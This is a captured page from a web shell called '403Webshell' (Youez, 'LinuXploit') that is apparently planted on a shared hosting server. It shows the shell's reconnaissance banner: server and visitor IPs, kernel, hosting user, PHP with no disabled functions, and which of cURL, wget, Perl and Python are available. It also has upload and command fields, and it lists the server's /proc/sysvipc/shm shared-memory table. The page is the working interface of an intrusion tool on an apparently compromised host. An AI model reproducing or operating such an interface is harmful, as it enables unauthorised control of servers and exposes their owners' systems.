403Webshell
Server IP : 66.29.132.122  /  Your IP : 3.138.174.120
Web Server : LiteSpeed
System : Linux business142.web-hosting.com 4.18.0-553.lve.el8.x86_64 #1 SMP Mon May 27 15:27:34 UTC 2024 x86_64
User : admazpex ( 531)
PHP Version : 7.2.34
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /proc/self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/sysvipc/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /proc/self/root/proc/self/root/proc/thread-self/root/proc/self/root/proc/sysvipc/shm
       key      shmid perms                  size  cpid  lpid nattch   uid   gid  cuid  cgid      atime      dtime      ctime                   rss                  swap
         0    1409024  1600                 43456 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147873                 32768                 12288
         0    1409025  1600                 65160 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147875                 49152                 16384
-1354379232     589826   666                    18 457218 587070      0  1016  1017  1016  1017 1731521625 1731521625 1729138875                  4096                     0
         0    1409027  1600                 86856 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147877                 69632                 20480
      5555          4   644                  1024  4994 1970324      0     0     0     0     0 1731407051 1731407051 1721820514                  4096                     0
         0    1409029  1600                108560 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147879                 86016                 24576
         0    1409030  1600                130312 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147881                106496                 24576
         0    1409031  1600                152008 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147883                126976                 28672
         0    1409032  1600                173712 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147885                139264                 36864
         0    1409033  1600                195408 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147887                155648                 40960
         0    1409034  1600                217112 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147890                176128                 45056
         0    1409035  1600                238816 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147892                188416                 53248
         0    1409036  1600                260544 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147894                208896                 53248
         0    1409037  1600                282240 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147896                229376                 53248
         0    1409038  1600                303944 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147898                241664                 65536
         0    1409039  1600                325632 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147900                258048                 69632
         0    1409040  1600                347328 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147902                270336                 77824
   5432002    1343505   600                    56 1222223 3339883      6    26    26    26    26 1731565670 1731565670 1730974602                     0                  4096
         0    1409042  1600                369016 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147904                290816                 81920
         0    1409043  1600                390704 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147906                307200                 86016
         0    1409044  1600                412400 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147908                319488                 94208
         0    1409045  1600                434096 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147910                339968                 94208
         0    1409046  1600                455784 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147912                352256                106496
         0    1409047  1600                477472 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147914                372736                106496
         0    1409048  1600                499168 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147917                393216                106496
         0    1409049  1600                520856 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147919                417792                106496
         0    1409050  1600                542544 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147921                421888                122880
         0    1409051  1600                564240 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147923                438272                126976
         0    1409052  1600                585936 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147925                458752                131072
         0    1409053  1600                607632 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147927                475136                135168
         0    1409054  1600                629336 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147929                495616                135168
         0    1409055  1600                651040 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147931                512000                139264
         0    1409056  1600                672744 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147933                524288                151552
         0    1409057  1600                694432 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147935                536576                159744
         0    1409058   600                716128 2632076 3340188      2   475   468   475   468 1731565673 1731565673 1731147937                716800                     0
   5432001    1572907   600                    56 4142568 3339641     32   465   455   465   455 1731565664 1731565664 1731511548                  4096                     0
         0    1572919  1400                249704 2946172 2946172      1   484   479     0     0 1731564958 1731564958 1731564958                249856                     0
         0    1572920  1400                250064 2946172 2946172      1   484   479     0     0 1731564958          0 1731564958                253952                     0
         0    1376317  1600                   576 2632071 3340188      6   475   468   475   468 1731565673 1731565673 1731147870                  4096                     0
         0    1376318  1600               1825056 2632071 3340188      6   475   468   475   468 1731565673 1731565673 1731147870               1826816                     0
         0    1376319  1600                 21744 2632076 3340188      1   475   468   475   468 1731565673 1731565673 1731147871                 16384                  8192

Youez - 2016 - github.com/yon3zu
LinuXploit